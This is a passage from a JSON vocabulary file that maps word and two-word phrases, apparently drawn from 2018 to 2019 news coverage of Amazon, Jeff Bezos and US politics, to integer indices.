\"ext 1900\": 184594,\n  \"construction rose\": 184595,\n  \"pills\": 184596,\n  \"moab capital\": 184597,\n  \"disqualification share\": 184598,\n  \"uphill\": 184599,\n  \"female senator\": 184600,\n  \"product price\": 184601,\n  \"ron chernow\": 184602,\n  \"trump previous\": 184603,\n  \"purdy\": 184604,\n  \"times yvonne\": 184605,\n  \"thing bezos\": 184606,\n  \"accuse president\": 184607,\n  \"adp small\": 184608,\n  \"null slideshows\": 184609,\n  \"britney\": 184610,\n  \"major politicians\": 184611,\n  \"telling cnbc\": 184612,\n  \"join foxconn\": 184613,\n  \"details exclusive\": 184614,\n  \"easley says\": 184615,\n  \"looks forward\": 184616,\n  \"experience better\": 184617,\n  \"trolling archenemy\": 184618,\n  \"initially stone\": 184619,\n  \"malaysia based\": 184620,\n  \"gaining wider\": 184621,\n  \"sexy file\": 184622,\n  \"aroused\": 184623,\n  \"health fda\": 184624,\n  \"mirage\": 184625,\n  \"washington spend\": 184626,\n  \"traction agile\": 184627,\n  \"albatross\": 184628,\n  \"recommend reply\": 184629,\n  \"steal surely\": 184630,\n  \"hired tang\": 184631,\n  \"know starbucks\": 184632,\n  \"infractions\": 184633,\n  \"single company\": 184634,\n  \"expectations index\": 184635,\n  \"becker mentioned\": 184636,\n  \"prime days\": 184637,\n  \"amazon orders\": 184638,\n  \"built factory\": 184639,\n  \"booing\": 184640,\n  \"coyle\": 184641,\n  \"migrant caravan\": 184642,\n  \"banditry\": 184643,\n  \"defense uses\": 184644,\n  \"elections ricardo\": 184645,\n  \"planning effort\": 184646,\n  \"cybersecurity issues\": 184647,\n  \"pichai told\": 184648,\n  \"mcmurray\": 184649,\n  \"possible reduction\": 184650,\n  \"york alleging\": 184651,\n  \"cult favorites\": 184652,\n  \"component united\": 184653,\n  \"society benefit\": 184654,\n  \"poor nation\": 184655,\n  \"space capsule\": 184656,\n  \"ill fitting\": 184657,\n  \"classy mccain\": 184658,\n  \"rollers\": 184659,\n  \"massive opportunity\": 184660,\n  \"resolved amazon\": 184661,\n  \"levin\": 184662,\n  \"wong reported\": 184663,\n  \"hat led\": 184664,\n  \"greedy company\": 184665,\n  \"management thinking\": 184666,\n  \"william morrow\": 184667,\n  \"defended pulling\": 184668,\n  \"approaches trillion\": 184669,\n  \"null cnl_calculated_color\": 184670,\n  \"example donates\": 184671,\n  \"a4ee t1\": 184672,\n  \"zwszijs781 jeanine\": 184673,\n  \"json\": 184674,\n  \"otr\": 184675,\n  \"reports drug\": 184676,\n  \"headcount\": 184677,\n  \"pregnant peers\": 184678,\n  \"treating\": 184679,\n  \"forbidden\": 184680,\n  \"wicked wit\": 184681,\n  \"federal dc\": 184682,\n  \"lauren greco\": 184683,\n  \"kenton county\": 184684,\n  \"far 2018\": 184685,\n  \"answer lies\": 184686,\n  \"ami explainer\": 184687,\n  \"modern slavery\": 184688,\n  \"bezos needless\": 184689,\n  \"workers instead\": 184690,\n  \"kotb oct\": 184691,\n  \"customers walmart\": 184692,\n  \"consecutive weekly\": 184693,\n  \"public anytime\": 184694,\n  \"mentor\": 184695,\n  \"posturing especially\": 184696,\n  \"amiira ruotola\": 184697,\n  \"sf\": 184698,\n  \"unprecedented data\": 184699,\n  \"theory involving\": 184700,\n  \"new democratic\": 184701,\n  \"tsla twitter\": 184702,\n  \"world order\": 184703,\n  \"delivery fleet\": 184704,\n  \"wight radio\": 184705,\n  \"rielle\": 184706,\n  \"little brown\": 184707,\n  \"sanchez locked\": 184708,\n  \"adtech privacy\": 184709,\n  \"ironicsituation\": 184710,\n  \"case ami\": 184711,\n  \"specifically haven\": 184712,\n  \"loyally serving\": 184713,\n  \"felt necessary\": 184714,\n  \"cheap labor\": 184715,\n  \"read posts\": 184716,\n  \"escapes\": 184717,\n  \"plaintiffs allege\": 184718,\n  \"streamline recommends\": 184719,\n  \"gates foundation\": 184720,\n  \"suspend\": 184721,\n  \"thumbs\": 184722,\n  \"tapeworms cult\": 184723,\n  \"syria troops\": 184724,\n  \"stayed loyal\": 184725,\n  \"anti immigration\": 184726,\n  \"amazon possibly\": 184727,\n  \"bewilliams bloomberg\": 184728,\n  \"bubble machine\": 184729,\n  \"publish nude\": 184730,\n  \"newer geographic\": 184731,\n  \"facebook breakup\": 184732,\n  \"owner power\": 184733,\n  \"president mccabe\": 184734,\n  \"nazi salute\": 184735,\n  \"rob black\": 184736,\n  \"general terms\": 184737,\n  \"manager john\": 184738,\n  \"mayor joe\": 184739,\n  \"term boost\": 184740,\n  \"asked khosrowshahi\": 184741,\n  \"lynnwood light\": 184742,\n  \"denn\": 184743,\n  \"company agreement\": 184744,\n  \"abandon agile\": 184745,\n  \"analyst gene\": 184746,\n  \"orlean\": 184747,\n  \"genies google\": 184748,\n  \"planned taxpayer\": 184749,\n  \"earnings phil\": 184750,\n  \"rough waters\": 184751,\n  \"eventual shipping\": 184752,\n  \"transfer tax\": 184753,\n  \"mcgarvey president\": 184754,\n  \"known appearance\": 184755,\n  \"office meeting\": 184756,\n  \"available information\": 184757,\n  \"excellent debut\": 184758,\n  \"major meltdown\": 184759,\n  \"sector competitors\": 184760,\n  \"post glad\": 184761,\n  \"pervasiveness\": 184762,\n  \"utilities sectors\": 184763,\n  \"expectations wall\": 184764,\n  \"finance consumer\": 184765,\n  \"infamous nicknames\": 184766,\n  \"scanners tell\": 184767,\n  \"trump nose\": 184768,\n  \"smart investors\": 184769,\n  \"fixed sentences\": 184770,\n  \"session\": 184771,\n  \"kobeissi founder\": 184772,\n  \"weirdest thing\": 184773,\n  \"new websites\": 184774,\n  \"campaign laws\": 184775,\n  \"cultures cynthia\": 184776,\n  \"old allegations\": 184777,\n  \"amazon deciding\": 184778,\n  \"div\": 184779,\n  \"plastic straws\": 184780,\n  \"year gains\": 184781,\n  \"pricing financing\": 184782,\n  \"webcast annual\": 184783,\n  \"demographic change\": 184784,\n  \"challenging amazon\": 184785,\n  \"ami source\": 184786,\n  \"fashion company\": 184787,\n  \"signoff\": 184788,\n  \"attract private\": 184789,\n  \"pecker american\": 184790,\n  \"jones fell\": 184791,\n  \"civil fine\": 184792,\n  \"brussels feels\": 184793,\n  \"changed forever\": 184794,\n  \"fix fuel\": 184795,\n  \"visited queensbridge\": 184796,\n  \"amazon emails\": 184797,\n  \"personal profiles\": 184798,\n  \"brett chase\": 184799,\n  \"financial success\": 184800,\n  \"archive amazon\": 184801,\n  \"consistently supported\": 184802,\n  \"igniting\": 184803,\n  \"assange faces\": 184804,\n  \"following extensive\": 184805,\n  \"brooklyn museum\": 184806,\n  \"half ago\": 184807,\n  \"503 shares\": 184808,\n  \"court proceedings\": 184809,\n  \"algonquin\": 184810,\n  \"south island\": 184811,\n  \"economy turns\": 184812,\n  \"multiple accounts\": 184813,\n  \"biggest threat\": 184814,\n  \"fixture programmes\": 184815,\n  \"paying sales\": 184816,\n  \"msnbc joy\": 184817,\n  \"boss indra\": 184818,\n  \"jim hoft\": 184819,\n  \"free personal\": 184820,\n  \"traffic nightmare\": 184821,\n  \"teachers salaries\": 184822,\n  \"adviser larry\": 184823,\n  \"industrial zone\": 184824,\n  \"estimating\": 184825,\n  \"unilaterally\": 184826,\n  \"county sh\": 184827,\n  \"spurring rising\": 184828,\n  \"poetry\": 184829,\n  \"rover\": 184830,\n  \"volume worldwide\": 184831,\n  \"fluoride\": 184832,\n  \"oracle says\": 184833,\n  \"yen contributed\": 184834,\n  \"unmanned producing\": 184835,\n  \"richard edelman\": 184836,\n  \"amid meddling\": 184837,\n  \"metropolitan areas\": 184838,\n  \"kids charlie\": 184839,\n  \"trading shares\": 184840,\n  \"minn sent\": 184841,\n  \"computing network\": 184842,\n  \"trooping\": 184843,\n  \"marketing expert\": 184844,\n  \"5etfw\": 184845,\n  \"scheduled fare\": 184846,\n  \"thetrump\": 184847,\n  \"branches overwhelmingly\": 184848,\n  \"included life\": 184849,\n  \"paid amazon\": 184850,\n  \"using workers\": 184851,\n  \"entire nation\": 184852,\n  \"173218731\": 184853,\n  \"litigating patents\": 184854,\n  \"evers executive\": 184855,\n  \"successful approach\": 184856,\n  \"continued investment\": 184857,\n  \"proposed border\": 184858,\n  \"fortune trump\": 184859,\n  \"employed 500\": 184860,\n  \"largest hotel\": 184861,\n  \"photo ref_src\": 184862,\n  \"amazon primed\": 184863,\n  \"jiatf foreign\": 184864,\n  \"physical contact\": 184865,\n  \"common practice\": 184866,\n  \"republicans consider\": 184867,\n  \"usps postal\": 184868,\n  \"finally explains\": 184869,\n  \"better quips\": 184870,\n  \"business height\": 184871,\n  \"new friend\": 184872,\n  \"cloud computing\": 184873,\n  \"technician\": 184874,\n  \"electrifying\": 184875,\n  \"fair political\": 184876,\n  \"593 216\": 184877,\n  \"tablehero dheeraj\": 184878,\n  \"stunning buyout\": 184879,\n  \"ap officials\": 184880,\n  \"rtx 2070\": 184881,\n  \"intermediaries coordinating\": 184882,\n  \"seattle international\": 184883,\n  \"nearly 897\": 184884,\n  \"itep notes\": 184885,\n  \"author craig\": 184886,\n  \"politicization\": 184887,\n  \"gossip rag\": 184888,\n  \"swallow\": 184889,\n  \"3006\": 184890,\n  \"deny providing\": 184891,\n  \"nervously\": 184892,\n  \"wildfires california\": 184893,\n  \"apple\": 184894,\n  \"mistrust parkland\": 184895,\n  \"offices addabbo\": 184896,\n  \"airlines plan\": 184897,\n  \"children hospital\": 184898,\n  \"dark financial\": 184899,\n  \"noah suggests\": 184900,\n  \"comments president\": 184901,\n  \"occupy wall\": 184902,\n  \"week read\": 184903,\n  \"repeatedly disparaged\": 184904,\n  \"screening ads\": 184905,\n  \"employee asked\": 184906,\n  \"repricing\": 184907,\n  \"employee henry\": 184908,\n  \"locks gently\": 184909,\n  \"amazon say\": 184910,\n  \"management shares\": 184911,\n  \"transparent amazon\": 184912,\n  \"covfefe purchase\": 184913,\n  \"rapists decapitators\": 184914,\n  \"office trump\": 184915,\n  \"authorities report\": 184916,\n  \"short period\": 184917,\n  \"interstate commerce\": 184918,\n  \"sewing plus\": 184919,\n  \"379 billion\": 184920,\n  \"slums\": 184921,\n  \"heated exchange\": 184922,\n  \"reflects amazon\": 184923,\n  \"having positive\": 184924,\n  \"veto power\": 184925,\n  \"revenue pushes\": 184926,\n  \"cuar\\u00f3n monumentality\": 184927,\n  \"chants related\": 184928,\n  \"rattled\": 184929,\n  \"checkered\": 184930,\n  \"ceo degree\": 184931,\n  \"short circuit\": 184932,\n  \"ministry\": 184933,\n  \"sign warns\": 184934,\n  \"billion seduction\": 184935,\n  \"natenquirer\": 184936,\n  \"alan santos\": 184937,\n  \"ahead\": 184938,\n  \"match daniel\": 184939,\n  \"crusty voice\": 184940,\n  \"ecommerce brands\": 184941,\n  \"favorable acquirer\": 184942,\n  \"incredible edible\": 184943,\n  \"tanakh\": 184944,\n  \"mail\": 184945,\n  \"firms billions\": 184946,\n  \"servitude\": 184947,\n  \"venezuela right\": 184948,\n  \"cover eevvf\": 184949,\n  \"wouldn pay\": 184950,\n  \"local business\": 184951,\n  \"smith capitalism\": 184952,\n  \"2260\": 184953,\n  \"despite newfound\": 184954,\n  \"leadership dead\": 184955,\n  \"shot dead\": 184956,\n  \"case amazon\": 184957,\n  \"billionaire posing\": 184958,\n  \"singer cat\": 184959,\n  \"regarding pay\": 184960,\n  \"fran\\u00e7oise bettencourt\": 184961,\n  \"uncommon don\": 184962,\n  \"priebus described\": 184963,\n  \"directions apologizes\": 184964,\n  \"prenuptial agreement\": 184965,\n  \"man holding\": 184966,\n  \"restaurant\": 184967,\n  \"netflix\": 184968,\n  \"videoplayer videoplayer\": 184969,\n  \"titans investing\": 184970,\n  \"223\": 184971,\n  \"showcasing flibs\": 184972,\n  \"mysterious animal\": 184973,\n  \"amazon 170\": 184974,\n  \"men join\": 184975,\n  \"stewart congress\": 184976,\n  \"2017 nicole\": 184977,\n  \"keely greenwood\": 184978,\n  \"security space\": 184979,\n  \"availability\": 184980,\n  \"osho modern\": 184981,\n  \"laura harrier\": 184982,\n  \"written chapter\": 184983,\n  \"perfumania\": 184984,\n  \"tmz suggested\": 184985,\n  \"real emergency\": 184986,\n  \"lowe home\": 184987,\n  \"egoacid egoacid\": 184988,\n  \"attractive long\": 184989,\n  \"visit twitter\": 184990,\n  \"eyebrows\": 184991,\n  \"vocal minority\": 184992,\n  \"divide societies\": 184993,\n  \"mccabe election\": 184994,\n  \"nachman\": 184995,\n  \"building garden\": 184996,\n  \"independent\": 184997,\n  \"brian wynne\": 184998,\n  \"trumpian overwhelmingly\": 184999,\n  \"renovations games\": 185000,\n  \"recklessly\": 185001,\n  \"anddomestic\": 185002,\n  \"trump verbal\": 185003,\n  \"bought boring\": 185004,\n  \"234 shares\": 185005,\n  \"job today\": 185006,\n  \"alleen\": 185007,\n  \"fyre festival\": 185008,\n  \"course staffed\": 185009,\n  \"rates president\": 185010,\n  \"google fi\": 185011,\n  \"industry giant\": 185012,\n  \"company turnaround\": 185013,\n  \"double murder\": 185014,\n  \"ja function\": 185015,\n  \"prices reliable\": 185016,\n  \"faux variations\": 185017,\n  \"gardner thanks\": 185018,\n  \"described images\": 185019,\n  \"meets farm\": 185020,\n  \"oklahoma premieres\": 185021,\n  \"follower blocked\": 185022,\n  \"military men\": 185023,\n  \"fedex mere\": 185024,\n  \"intervened\": 185025,\n  \"entirely vacant\": 185026,\n  \"growing eu\": 185027,\n  \"rabbi brett\": 185028,\n  \"deforestation intensified\": 185029,\n  \"cesar\": 185030,\n  \"mgmt tx\": 185031,\n  \"speciality\": 185032,\n  \"greatest kind\": 185033,\n  \"driverless\": 185034,\n  \"queens assemblymembers\": 185035,\n  \"structure changing\": 185036,\n  \"political twist\": 185037,\n  \"surest\": 185038,\n  \"smitaprakash\": 185039,\n  \"ceo speaks\": 185040,\n  \"2018 profit\": 185041,\n  \"language doubleday\": 185042,\n  \"trump killed\": 185043,\n  \"offer suborbital\": 185044,\n  \"slashes number\": 185045,\n  \"hold rally\": 185046,\n  \"pentagon justifications\": 185047,\n  \"week herera\": 185048,\n  \"relationship just\": 185049,\n  \"syndicators distressed\": 185050,\n  \"outdoor recreation\": 185051,\n  \"racine county\": 185052,\n  \"community standards\": 185053,\n  \"left worries\": 185054,\n  \"massive turbo\": 185055,\n  \"typically occurs\": 185056,\n  \"aerial footage\": 185057,\n  \"rodrigues\": 185058,\n  \"investorplace\": 185059,\n  \"systems analyst\": 185060,\n  \"massive blooms\": 185061,\n  \"damage global\": 185062,\n  \"year high\": 185063,\n  \"oswalt\": 185064,\n  \"publicly bashed\": 185065,\n  \"watts marketwatch\": 185066,\n  \"china pressure\": 185067,\n  \"shot book\": 185068,\n  \"president predicto\": 185069,\n  \"timeline nasa\": 185070,\n  \"homeless veteran\": 185071,\n  \"real scandal\": 185072,\n  \"gizmodo kashmir\": 185073,\n  \"negative press\": 185074,\n  \"2000 img_h\": 185075,\n  \"preschool teachers\": 185076,\n  \"legs loose\": 185077,\n  \"census mistake\": 185078,\n  \"ms karni\": 185079,\n  \"mayors amazon\": 185080,\n  \"monopoly laws\": 185081,\n  \"current quarter\": 185082,\n  \"google holding\": 185083,\n  \"andrews\": 185084,\n  \"creators lena\": 185085,\n  \"apartments tower\": 185086,\n  \"soldier neo\": 185087,\n  \"magic quadrant\": 185088,\n  \"trust threats\": 185089,\n  \"oil recovery\": 185090,\n  \"new gates\": 185091,\n  \"scheme\": 185092,\n  \"philadelphia pennsylvania\": 185093,\n  \"organizing\": 185094,\n  \"ogr joint\": 185095,\n  \"gunning\": 185096,\n  \"playbook novel\": 185097,\n  \"instilling inspiration\": 185098,\n  \"contributor jason\": 185099,\n  \"maybe stick\": 185100,\n  \"bodycam footage\": 185101,\n  \"establishment backed\": 185102,\n  \"google respectively\": 185103,\n  \"nyse cibc\": 185104,\n  \"buckley\": 185105,\n  \"know existed\": 185106,\n  \"billions accumulating\": 185107,\n  \"scorned companies\": 185108,\n  \"alfre\": 185109,\n  \"preliminary findings\": 185110,\n  \"manipulate conversations\": 185111,\n  \"eliminating drivers\": 185112,\n  \"captured pilot\": 185113,\n  \"assembly committee\": 185114,\n  \"small minority\": 185115,\n  \"2018 sessions\": 185116,\n  \"measures gaap\": 185117,\n  \"nasdaq sbux\": 185118,\n  \"state saying\": 185119,\n  \"surface pro\": 185120,\n  \"unlimited resources\": 185121,\n  \"lisa herbold\": 185122,\n  \"blackledge overall\": 185123,\n  \"building hq2\": 185124,\n  \"specialized distribution\": 185125,\n  \"rights sector\": 185126,\n  \"pritzker democrat\": 185127,\n  \"bullish zone\": 185128,\n  \"recent quarters\": 185129,\n  \"limited measure\": 185130,\n  \"democracy scum\": 185131,\n  \"mccabe new\": 185132,\n  \"competitive problems\": 185133,\n  \"aramco books\": 185134,\n  \"doing grocery\": 185135,\n  \"single provider\": 185136,\n  \"looming\": 185137,\n  \"pulitzer\": 185138,\n  \"bag department\": 185139,\n  \"customer product\": 185140,\n  \"illegal practice\": 185141,\n  \"email ne\": 185142,\n  \"warren legislation\": 185143,\n  \"paul dano\": 185144,\n  \"leave service\": 185145,\n  \"young workers\": 185146,\n  \"support necessary\": 185147,\n  \"43285 votes\": 185148,\n  \"000 nfp\": 185149,\n  \"cringely issues\": 185150,\n  \"potus google\": 185151,\n  \"awards6\": 185152,\n  \"canceled voting\": 185153,\n  \"albeit insufficiently\": 185154,\n  \"escalated\": 185155,\n  \"massive 139\": 185156,\n  \"calif\": 185157,\n  \"current home\": 185158,\n  \"images jan\": 185159,\n  \"classification assessment\": 185160,\n  \"nasa opportunity\": 185161,\n  \"elections heres\": 185162,\n  \"story ai\": 185163,\n  \"america lees\": 185164,\n  \"thirdparty merchants\": 185165,\n  \"rethink\": 185166,\n  \"twitter ryanpoe\": 185167,\n  \"nerdy\": 185168,\n  \"message story\": 185169,\n  \"sharper criticism\": 185170,\n  \"agencies include\": 185171,\n  \"remarks served\": 185172,\n  \"reported earlier\": 185173,\n  \"1994\": 185174,\n  \"presenter\": 185175,\n  \"success productions\": 185176,\n  \"boy adventures\": 185177,\n  \"kevin williamson\": 185178,\n  \"discount offered\": 185179,\n  \"dangerous eroding\": 185180,\n  \"lower rate\": 185181,\n  \"biggest criticisms\": 185182,\n  \"government created\": 185183,\n  \"provoking antitrust\": 185184,\n  \"outperformers\": 185185,\n  \"girlfriend trump\": 185186,\n  \"term growth\": 185187,\n  \"france recalls\": 185188,\n  \"defense official\": 185189,\n  \"think steve\": 185190,\n  \"yplgqc9q9r brian\": 185191,\n  \"null img_gallery_imageref\": 185192,\n  \"time lena\": 185193,\n  \"unleashed tweetstorm\": 185194,\n  \"wrote prefer\": 185195,\n  \"amass unprecedented\": 185196,\n  \"leslie page\": 185197,\n  \"grant writing\": 185198,\n  \"legislature dn\": 185199,\n  \"9million percentage\": 185200,\n  \"local organizers\": 185201,\n  \"generated algorithmically\": 185202,\n  \"___ 2018\": 185203,\n  \"firm toyota\": 185204,\n  \"walker narrow\": 185205,\n  \"fell short\": 185206,\n  \"time features\": 185207,\n  \"extremely peculiar\": 185208,\n  \"begala\": 185209,\n  \"investigating suspicious\": 185210,\n  \"nonchalantly\": 185211,\n  \"husband penis\": 185212,\n  \"pez headed\": 185213,\n  \"r4ee l4e\": 185214,\n  \"hidethumbnail\": 185215,\n  \"solid proposal\": 185216,\n  \"breitbart ingraham\": 185217,\n  \"chair\": 185218,\n  \"lazyauto\": 185219,\n  \"weather michigan\": 185220,\n  \"fewer babies\": 185221,\n  \"frills\": 185222,\n  \"underpayment sandra\": 185223,\n  \"game helps\": 185224,\n  \"year computer\": 185225,\n  \"tariffs 2018\": 185226,\n  \"separate scotus\": 185227,\n  \"story japans\": 185228,\n  \"trillion short\": 185229,\n  \"durable wapo\": 185230,\n  \"direction tell\": 185231,\n  \"restricted\": 185232,\n  \"facility 2018\": 185233,\n  \"cvs cbd\": 185234,\n  \"calculus amazon\": 185235,\n  \"confirmation hearing\": 185236,\n  \"veteran military\": 185237,\n  \"testimony\": 185238,\n  \"gunman fatally\": 185239,\n  \"gabriela caraga\": 185240,\n  \"hallie jackson\": 185241,\n  \"quoted jeff\": 185242,\n  \"foundation industry\": 185243,\n  \"sunnyside long\": 185244,\n  \"predominately black\": 185245,\n  \"studios width\": 185246,\n  \"mother died\": 185247,\n  \"publicaci\\u00f3n_incorporada_incorporada_filaje_de_files\": 185248,\n  \"season investorplace\": 185249,\n  \"303567\": 185250,\n  \"fourth box\": 185251,\n  \"pure spectacle\": 185252,\n  \"broadcasters senator\": 185253,\n  \"myriad lines\": 185254,\n  \"analysts saying\": 185255,\n  \"mini crossword\": 185256,\n  \"effort occurs\": 185257,\n  \"await cardinal\": 185258,\n  \"successful\": 185259,\n  \"new love\": 185260,\n  \"incoming chair\": 185261,\n  \"says yang\": 185262,\n  \"restaurants liable\": 185263,\n  \"earhardt earhardt\": 185264,\n  \"tossing\": 185265,\n  \"echo chamber\": 185266,\n  \"retirement avoid\": 185267,\n  \"elected democrat\": 185268,\n  \"trump spends\": 185269,\n  \"888\": 185270,\n  \"trump arguments\": 185271,\n  \"falsehood democrats\": 185272,\n  \"presidential nominee\": 185273,\n  \"quarter increased\": 185274,\n  \"called meager\": 185275,\n  \"cfo ruth\": 185276,\n  \"cnbc reports\": 185277,\n  \"sanders boss\": 185278,\n  \"hush money\": 185279,\n  \"alternative newsmedia\": 185280,\n  \"repellant\": 185281,\n  \"img_caption null\": 185282,\n  \"force companies\": 185283,\n  \"political pandering\": 185284,\n  \"markets opened\": 185285,\n  \"cohon\": 185286,\n  \"trump rescinded\": 185287,\n  \"brazilian law\": 185288,\n  \"mukherjee\": 185289,\n  \"state center\": 185290,\n  \"scores win\": 185291,\n  \"politics business\": 185292,\n  \"man evolution\": 185293,\n  \"pressure drugs\": 185294,\n  \"1237872 trump\": 185295,\n  \"kate white\": 185296,\n  \"mississippi border\": 185297,\n  \"978 17338732\": 185298,\n  \"hardcover edition\": 185299,\n  \"chabad synagogue\": 185300,\n  \"brazilian advocacy\": 185301,\n  \"2018 andrew\": 185302,\n  \"held amazon\": 185303,\n  \"estate boom\": 185304,\n  \"carolina wsj\": 185305,\n  \"little heart\": 185306,\n  \"including day\": 185307,\n  \"timing\": 185308,\n  \"acquires mexico\": 185309,\n  \"revenue upside\": 185310,\n  \"bolsonaro saw\": 185311,\n  \"88th\": 185312,\n  \"company billionaire\": 185313,\n  \"haaland representative\": 185314,\n  \"block market\": 185315,\n  \"double analyst\": 185316,\n  \"subsections watoday\": 185317,\n  \"munduruku feedback\": 185318,\n  \"488\": 185319,\n  \"perspective tabloids\": 185320,\n  \"concise manner\": 185321,\n  \"american paying\": 185322,\n  \"search app\": 185323,\n  \"producthash user\": 185324,\n  \"park buy\": 185325,\n  \"injured lakewood\": 185326,\n  \"intimidation tactics\": 185327,\n  \"especially reducing\": 185328,\n  \"breadth momentum\": 185329,\n  \"j4 oa\": 185330,\n  \"duration\": 185331,\n  \"requiring internet\": 185332,\n  \"expensive divorces\": 185333,\n  \"property overlooking\": 185334,\n  \"errant bit\": 185335,\n  \"street littering\": 185336,\n  \"leading american\": 185337,\n  \"dwells\": 185338,\n  \"money lobbying\": 185339,\n  \"began writing\": 185340,\n  \"similar wealth\": 185341,\n  \"appleinsider\": 185342,\n  \"stealing trade\": 185343,\n  \"facebook follow\": 185344,\n  \"congresswoman stefanik\": 185345,\n  \"trump considering\": 185346,\n  \"america demands\": 185347,\n  \"mind include\": 185348,\n  \"brother nbc\": 185349,\n  \"mars don\": 185350,\n  \"unless gavin\": 185351,\n  \"mac moser\": 185352,\n  \"council accountable\": 185353,\n  \"maintain industry\": 185354,\n  \"decorative hamburger\": 185355,\n  \"sellers sort\": 185356,\n  \"ubhi wrote\": 185357,\n  \"reportedly split\": 185358,\n  \"progressive think\": 185359,\n  \"executive order\": 185360,\n  \"plus fedex\": 185361,\n  \"florida supercharged\": 185362,\n  \"tingle\": 185363,\n  \"commitment amazon\": 185364,\n  \"rebate just\": 185365,\n  \"government censorship\": 185366,\n  \"troubles began\": 185367,\n  \"pscnb comprised\": 185368,\n  \"454\": 185369,\n  \"hammered early\": 185370,\n  \"booming companies\": 185371,\n  \"pols including\": 185372,\n  \"forte argues\": 185373,\n  \"north korea\": 185374,\n  \"nonprofit going\": 185375,\n  \"crandall era\": 185376,\n  \"base case\": 185377,\n  \"development announced\": 185378,\n  \"l8 function\": 185379,\n  \"says randall\": 185380,\n  \"service partners\": 185381,\n  \"leased 000\": 185382,\n  \"niedzwiadek nickniedz\": 185383,\n  \"backing direct\": 185384,\n  \"accustomed\": 185385,\n  \"facts astonishingly\": 185386,\n  \"cap ri\": 185387,\n  \"continued disenfranchisement\": 185388,\n  \"heavily favored\": 185389,\n  \"form conga\": 185390,\n  \"rocked merchandise\": 185391,\n  \"krouse\": 185392,\n  \"pleasantly\": 185393,\n  \"luxury sites\": 185394,\n  \"michigan democratic\": 185395,\n  \"soon jeff\": 185396,\n  \"betsy devos\": 185397,\n  \"promote trump\": 185398,\n  \"fretting\": 185399,\n  \"kopen met\": 185400,\n  \"belong\": 185401,\n  \"transactions happening\": 185402,\n  \"2016 lawsuit\": 185403,\n  \"sent amid\": 185404,\n  \"ceo outside\": 185405,\n  \"globe award\": 185406,\n  \"lowest cost\": 185407,\n  \"make journalistic\": 185408,\n  \"uber unlike\": 185409,\n  \"increase rates\": 185410,\n  \"trump place\": 185411,\n  \"sister phone\": 185412,\n  \"huateng\": 185413,\n  \"seymour\": 185414,\n  \"companies khanna\": 185415,\n  \"german controlled\": 185416,\n  \"woodward expos\\u0449\\u0430of\": 185417,\n  \"protect free\": 185418,\n  \"e8 t8\": 185419,\n  \"daimler parent\": 185420,\n  \"writes negative\": 185421,\n  \"dr sampson\": 185422,\n  \"aldi imperium\": 185423,\n  \"attain\": 185424,\n  \"financial marketplace\": 185425,\n  \"800 743\": 185426,\n  \"sexting drama\": 185427,\n  \"vox vox\": 185428,\n  \"industry adds\": 185429,\n  \"invaluable\": 185430,\n  \"worker injuries\": 185431,\n  \"greg mcbride\": 185432,\n  \"sourceflickr loiclemeur\": 185433,\n  \"establish market\": 185434,\n  \"know additional\": 185435,\n  \"print sales\": 185436,\n  \"money away\": 185437,\n  \"billionaire jeff\": 185438,\n  \"kinds\": 185439,\n  \"griffeth everybody\": 185440,\n  \"shoppers simple\": 185441,\n  \"preying\": 185442,\n  \"level negotiations\": 185443,\n  \"reveals hack\": 185444,\n  \"rates fluctuate\": 185445,\n  \"battery powered\": 185446,\n  \"source uber\": 185447,\n  \"foreignintelligencesurveillanceact\": 185448,\n  \"punish cnn\": 185449,\n  \"challenge news\": 185450,\n  \"missouri lawmaker\": 185451,\n  \"measures\": 185452,\n  \"members elect\": 185453,\n  \"lewd pictures\": 185454,\n  \"vigorous defense\": 185455,\n  \"nosed father\": 185456,\n  \"eder\": 185457,\n  \"hirono\": 185458,\n  \"allows employees\": 185459,\n  \"junior jake\": 185460,\n  \"columnist paul\": 185461,\n  \"finding\": 185462,\n  \"business scam\": 185463,\n  \"useful gifts\": 185464,\n  \"muslim congresswomen\": 185465,\n  \"noteworthy republican\": 185466,\n  \"industrial agribusiness\": 185467,\n  \"crossings customs\": 185468,\n  \"monopoly amazon\": 185469,\n  \"sole winner\": 185470,\n  \"spettypiece\": 185471,\n  \"team federal\": 185472,\n  \"headquarters known\": 185473,\n  \"research finds\": 185474,\n  \"implored president\": 185475,\n  \"2018 achtung\": 185476,\n  \"favorite\": 185477,\n  \"golan\": 185478,\n  \"remain keen\": 185479,\n  \"center danhof\": 185480,\n  \"bezos criticizing\": 185481,\n  \"aws entering\": 185482,\n  \"2019 pause\": 185483,\n  \"specious lobbying\": 185484,\n  \"stock 2018\": 185485,\n  \"testy exchange\": 185486,\n  \"launch series\": 185487,\n  \"firms online\": 185488,\n  \"concat r4ee\": 185489,\n  \"identifies potentially\": 185490,\n  \"little shoulders\": 185491,\n  \"provoking\": 185492,\n  \"reinvest\": 185493,\n  \"make liberals\": 185494,\n  \"cnn senior\": 185495,\n  \"modi party\": 185496,\n  \"amazon trillion\": 185497,\n  \"amazonclarity pic\": 185498,\n  \"location fall\": 185499,\n  \"gdpr giving\": 185500,\n  \"story wrote\": 185501,\n  \"hurt solidly\": 185502,\n  \"learning\": 185503,\n  \"sanders plans\": 185504,\n  \"progam\": 185505,\n  \"queens neighborhoods\": 185506,\n  \"laurence cendrowicz\": 185507,\n  \"nbsp\": 185508,\n  \"iisuperwomanii\": 185509,\n  \"york agreed\": 185510,\n  \"initially floated\": 185511,\n  \"hard liners\": 185512,\n  \"aliya capital\": 185513,\n  \"\\u0630\\u0627\\u0643 \\u0627\\u0644\\u0628\\u0639\\u064a\\u062f\": 185514,\n  \"different everybody\": 185515,\n  \"amazon gross\": 185516,\n  \"america youngest\": 185517,\n  \"services data\": 185518,\n  \"astonishing story\": 185519,\n  \"tat trade\": 185520,\n  \"sell custom\": 185521,\n  \"price floors\": 185522,\n  \"recently protested\": 185523,\n  \"bell\": 185524,\n  \"party convention\": 185525,\n  \"president mocked\": 185526,\n  \"owner founded\": 185527,\n  \"markets initiative\": 185528,\n  \"icelandic\": 185529,\n  \"bought products\": 185530,\n  \"recent lirr\": 185531,\n  \"stuart varney\": 185532,\n  \"alibaba commerce\": 185533,\n  \"nassau\": 185534,\n  \"ice runs\": 185535,\n  \"08m reported\": 185536,\n  \"fabricated border\": 185537,\n  \"limited number\": 185538,\n  \"significant pressure\": 185539,\n  \"external challenges\": 185540,\n  \"underemployment\": 185541,\n  \"independent vermont\": 185542,\n  \"oaks california\": 185543,\n  \"city rojas\": 185544,\n  \"punishment\": 185545,\n  \"immediately fired\": 185546,\n  \"vagaries\": 185547,\n  \"political reality\": 185548,\n  \"emotion\": 185549,\n  \"facebook control\": 185550,\n  \"hurricane harvey\": 